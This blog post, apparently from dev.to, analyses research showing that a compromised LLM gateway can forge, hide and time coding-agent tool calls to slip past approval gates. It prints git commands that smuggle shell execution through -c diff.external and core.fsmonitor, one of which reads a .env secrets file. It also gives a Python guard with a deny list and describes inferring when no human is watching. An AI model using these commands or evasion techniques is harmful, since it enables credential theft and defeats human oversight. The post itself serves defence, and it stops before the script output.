&lt;li&gt;The lesson: an approval gate answers "is this command allowed?" It does not answer "did the model I trust actually ask for it?" You need both answers.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What did the "Man-in-the-Model" research actually show?
&lt;/h2&gt;

&lt;p&gt;Most agent threat models put the dangerous input in the model's context: a poisoned web page, a malicious tool description, a hostile README. The model reads it, gets steered, and emits a bad tool call. Guardrails, system prompts and approval prompts are built around that picture.&lt;/p&gt;

&lt;p&gt;HiddenLayer's write-up (authors Esteban Tonglet, Divyanshu Divyanshu and Kasimir Schulz) moves the attacker to a different seat. The attacker controls a system that sits on the path: an inference server such as Ollama or vLLM, or an LLM gateway such as LiteLLM. That position is not exotic. People route coding agents through gateways for cost tracking, key management and model switching, and the write-up cites a 2026 supply chain compromise of LiteLLM and separate research on third-party LLM routers injecting malicious code.&lt;/p&gt;

&lt;p&gt;From that seat the attacker sees every request and every response. The write-up shows three capabilities:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Forge a tool call.&lt;/strong&gt; The gateway edits the model's response to include a tool call the model never produced. The agent harness cannot tell the difference, because from its side the call arrived in the normal response channel.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hide it.&lt;/strong&gt; The gateway removes the injected call and its result from the conversation before the history goes back to the model, so the model never learns about it. Injected timing wrappers also strip their own log lines from the output the user sees.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Learn what is guarded.&lt;/strong&gt; The gateway identifies the harness from HTTP headers, tool catalogues and request structure, and reads configuration such as CLAUDE.md or &lt;code&gt;.cursorrules&lt;/code&gt; by injecting file reads and then deleting them from the history.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The authors say the research looked at "over 4 thousand captured sessions" and "over thirty-five thousands file reads." Their summary line is the sentence to remember: sandboxes and approval mechanisms "can reduce that impact, but they do not establish that a tool call originated from the model the user intended to trust." The write-up as I read it does not report vendor fixes for the demonstrated cases.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why does an approved &lt;code&gt;git&lt;/code&gt; prefix become a bypass?
&lt;/h2&gt;

&lt;p&gt;Codex lets a user approve a command prefix once, so later commands that begin with &lt;code&gt;git&lt;/code&gt; run without a prompt. That is a reasonable usability choice when you assume the model wrote the command. The research shows what happens when someone else writes it. The forged call from the write-up:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git &lt;span class="nt"&gt;-c&lt;/span&gt; diff.external&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'sh -c "cat .env"'&lt;/span&gt; diff &lt;span class="nt"&gt;--no-index&lt;/span&gt; /dev/null .env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It starts with &lt;code&gt;git&lt;/code&gt;, so the prefix check passes. But &lt;code&gt;-c&lt;/code&gt; sets a configuration value for this one invocation, and &lt;code&gt;diff.external&lt;/code&gt; tells git to run an external program to produce the diff. Git is a shell launcher with a diff command attached.&lt;/p&gt;

&lt;p&gt;I did not want to take this on faith, so I tested it in a scratch directory with a harmless marker command instead of &lt;code&gt;cat .env&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git &lt;span class="nt"&gt;--version&lt;/span&gt;
&lt;span class="c"&gt;# git version 2.53.0.windows.2&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"SECRET=abc"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; .env
git &lt;span class="nt"&gt;-c&lt;/span&gt; diff.external&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'sh -c "echo PWNED &amp;gt; marker.txt"'&lt;/span&gt; diff &lt;span class="nt"&gt;--no-index&lt;/span&gt; /dev/null .env
&lt;span class="nb"&gt;cat &lt;/span&gt;marker.txt
&lt;span class="c"&gt;# PWNED&lt;/span&gt;
git diff &lt;span class="nt"&gt;--no-index&lt;/span&gt; &lt;span class="nt"&gt;--no-ext-diff&lt;/span&gt; /dev/null .env   &lt;span class="c"&gt;# no marker, plain diff&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The marker file appeared. In a fresh repository I confirmed two more shapes that also start with &lt;code&gt;git&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;git -c core.fsmonitor='sh -c "echo FSM &amp;gt; fsm_marker.txt"' status&lt;/code&gt; created the marker file, so a read-only looking &lt;code&gt;status&lt;/code&gt; ran a command.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;git diff --output=out.txt /dev/null .env&lt;/code&gt; wrote &lt;code&gt;out.txt&lt;/code&gt;, so a "diff" wrote to disk.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of this is a git bug. These are documented features. The bug is in the policy that treats the first word of a command string as the identity of the command. I made the same point in an earlier post about the newline in a read-only fast path: the string you approve and the process the operating system starts are different things.&lt;/p&gt;

&lt;h2&gt;
  
  
  Can a gateway tell when nobody is watching?
&lt;/h2&gt;

&lt;p&gt;The timing result in the write-up is the part I found most useful for defenders. When a tool runs automatically, the result comes back almost immediately. When a human must approve it, the round trip includes seconds of human time. A gateway that measures the delay between sending a tool call and seeing the next request can infer which tools run without approval.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522File%2520reads%2520%2528%253E35%252C000%2529%2522%252C%2522Short-runtime%2520tools%2522%252C%2522Shell%2520calls%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522%2525%2520of%2520calls%2520in%2520the%2520timing%2520heuristic%2527s%2520ambiguous%2520range%2522%252C%2522data%2522%253A%255B1.0%252C4.7%252C25.5%255D%252C%2522backgroundColor%2522%253A%255B%2522%25232e7d32%2522%252C%2522%2523f0ad4e%2522%252C%2522%2523d9534f%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Share%2520of%2520calls%2520where%2520a%2520gateway%2520cannot%2520tell%2520auto-run%2520from%2520approved%2522%252C%2522fontSize%2522%253A20%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522File%2520reads%2520%2528%253E35%252C000%2529%2522%252C%2522Short-runtime%2520tools%2522%252C%2522Shell%2520calls%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522%2525%2520of%2520calls%2520in%2520the%2520timing%2520heuristic%2527s%2520ambiguous%2520range%2522%252C%2522data%2522%253A%255B1.0%252C4.7%252C25.5%255D%252C%2522backgroundColor%2522%253A%255B%2522%25232e7d32%2522%252C%2522%2523f0ad4e%2522%252C%2522%2523d9534f%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Share%2520of%2520calls%2520where%2520a%2520gateway%2520cannot%2520tell%2520auto-run%2520from%2520approved%2522%252C%2522fontSize%2522%253A20%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522yAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%257D%257D%255D%257D%257D%257D" alt="Bar chart: share of calls where timing is ambiguous, 1.0 percent for file reads, 4.7 percent for short-runtime tools, 25.5 percent for shell calls" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The figures come from the write-up: across more than 35,000 file reads only 1.0% fell inside the heuristic's ambiguous range, 4.7% of calls to tools with short typical runtimes did, and 25.5% of shell calls did. Shell commands are the hardest to classify because their runtimes vary, but even there roughly three in four calls were classifiable by timing alone.&lt;/p&gt;

&lt;p&gt;What this means in practice: the attacker does not need to guess which injected calls would trigger a prompt. It can learn which tools are safe to abuse silently, then inject only those. Hiding in the visual noise helps too. A long pipeline with several redirects makes a small added fragment "much less visually salient" to a human skimming for &lt;code&gt;rm&lt;/code&gt;, &lt;code&gt;sudo&lt;/code&gt; or &lt;code&gt;curl&lt;/code&gt;, in the authors' words.&lt;/p&gt;

&lt;h2&gt;
  
  
  Is this the same failure as CoreBreak?
&lt;/h2&gt;

&lt;p&gt;It is the same family, seen from a different angle. The Cloud Security Alliance note on CoreBreak, dated August 6, 2026, describes tools executing in agent frameworks without a model decision ever taking place. The listed CVEs:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522horizontalBar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Google%2520ADK%2520%2528Python%2529%2522%252C%2522AWS%2520Bedrock%2520AgentCore%2522%252C%2522Vercel%2520harness-codex%2522%252C%2522Vercel%2520harness-opencode%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522CVSS%2520v4.0%2522%252C%2522data%2522%253A%255B9.3%252C8.6%252C6.3%252C6.3%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523d9534f%2522%252C%2522%2523f0ad4e%2522%252C%2522%25235bc0de%2522%252C%2522%25235bc0de%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522CoreBreak%253A%2520CVSS%2520v4.0%2520by%2520affected%2520product%2520%2528CSA%252C%2520Aug%25206%25202026%2529%2522%252C%2522fontSize%2522%253A20%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A10%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522horizontalBar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Google%2520ADK%2520%2528Python%2529%2522%252C%2522AWS%2520Bedrock%2520AgentCore%2522%252C%2522Vercel%2520harness-codex%2522%252C%2522Vercel%2520harness-opencode%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522CVSS%2520v4.0%2522%252C%2522data%2522%253A%255B9.3%252C8.6%252C6.3%252C6.3%255D%252C%2522backgroundColor%2522%253A%255B%2522%2523d9534f%2522%252C%2522%2523f0ad4e%2522%252C%2522%25235bc0de%2522%252C%2522%25235bc0de%2522%255D%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522CoreBreak%253A%2520CVSS%2520v4.0%2520by%2520affected%2520product%2520%2528CSA%252C%2520Aug%25206%25202026%2529%2522%252C%2522fontSize%2522%253A20%257D%252C%2522legend%2522%253A%257B%2522display%2522%253Afalse%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522ticks%2522%253A%257B%2522min%2522%253A0%252C%2522max%2522%253A10%257D%257D%255D%257D%257D%257D" alt="Horizontal bar chart: CoreBreak CVSS v4.0 scores, Google ADK 9.3, AWS Bedrock AgentCore 8.6, Vercel harness-codex 6.3, Vercel harness-opencode 6.3" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Product&lt;/th&gt;
&lt;th&gt;CVE&lt;/th&gt;
&lt;th&gt;CVSS v4.0&lt;/th&gt;
&lt;th&gt;Fixed in&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Google Agent Development Kit (Python)&lt;/td&gt;
&lt;td&gt;CVE-2026-18236&lt;/td&gt;
&lt;td&gt;9.3&lt;/td&gt;
&lt;td&gt;2.5.0 (July 16, 2026)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AWS Bedrock AgentCore (InvokeHarness API)&lt;/td&gt;
&lt;td&gt;CVE-2026-18830&lt;/td&gt;
&lt;td&gt;8.6&lt;/td&gt;
&lt;td&gt;Deployed by AWS, no customer action&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vercel &lt;code&gt;@ai-sdk/harness-codex&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;CVE-2026-64650&lt;/td&gt;
&lt;td&gt;6.3&lt;/td&gt;
&lt;td&gt;1.0.29 (July 10, 2026)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vercel &lt;code&gt;@ai-sdk/harness-opencode&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;CVE-2026-64651&lt;/td&gt;
&lt;td&gt;6.3&lt;/td&gt;
&lt;td&gt;1.0.28 (July 10, 2026)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The CSA root cause is the same sentence that sums up the gateway research: the dispatch layer treated a well-formed instruction as proof that a model had issued it. In the Google case, a forged human-approval confirmation worked because the confirmation processor never checked that the target tool belonged to the executing agent. The recommended mitigations include cryptographically verifiable tokens in place of command-line authorization checks, and confirmation gates that validate tool ownership and argument integrity.&lt;/p&gt;

&lt;p&gt;The difference is where the forgery happens. CoreBreak forges inside the framework, through session history or the harness API. The gateway attack forges on the wire. Both defeat a gate that only inspects the content of the call.&lt;/p&gt;

&lt;h2&gt;
  
  
  How do three guards compare against forged calls?
&lt;/h2&gt;

&lt;p&gt;To make the distinction concrete I built a small model of the decision. It is my own illustration, not any vendor's code, and the numbers describe this test set only.&lt;/p&gt;

&lt;p&gt;Three guards face six forged calls and four legitimate ones:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Prefix allowlist.&lt;/strong&gt; Approve anything starting with &lt;code&gt;git&lt;/code&gt; or &lt;code&gt;ls&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Argv-aware allowlist.&lt;/strong&gt; Parse the command, allow only &lt;code&gt;git status&lt;/code&gt;, &lt;code&gt;git diff&lt;/code&gt;, &lt;code&gt;git log&lt;/code&gt;, deny &lt;code&gt;-c&lt;/code&gt;, &lt;code&gt;--ext-diff&lt;/code&gt;, &lt;code&gt;--no-index&lt;/code&gt;, &lt;code&gt;--output&lt;/code&gt; and any argument mentioning &lt;code&gt;.env&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Provenance MAC.&lt;/strong&gt; The endpoint that runs the model signs each tool call with an HMAC over turn number, call index and argv. The harness verifies it before running anything. The key lives where the gateway cannot read it.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hmac&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;shlex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;

&lt;span class="n"&gt;KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;endpoint-side demo key&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;sign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;turn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;turn&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;|&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;|&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hmac&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;guard_prefix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cmd&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;git &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="n"&gt;SAFE_SUBCMDS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;diff&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;log&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;DENY_OPTS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-c&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--ext-diff&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--no-index&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--output&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--exec-path&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;guard_argv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;argv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;shlex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cmd&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ls&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;git&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;SAFE_SUBCMDS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:]:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;DENY_OPTS&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--output&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.env&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;guard_provenance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mac&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="n"&gt;want&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sign&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;turn&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;idx&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;shlex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cmd&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hmac&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compare_digest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;mac&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;want&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The forged set covers the three git shapes I verified locally, a plain &lt;code&gt;curl | sh&lt;/code&gt;, a &lt;code&gt;git log -p&lt;/code&gt; that has an allowed shape but reads committed history, and a replay of a genuinely signed &lt;code&gt;git status&lt;/code&gt; in a later turn. Output of the full script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
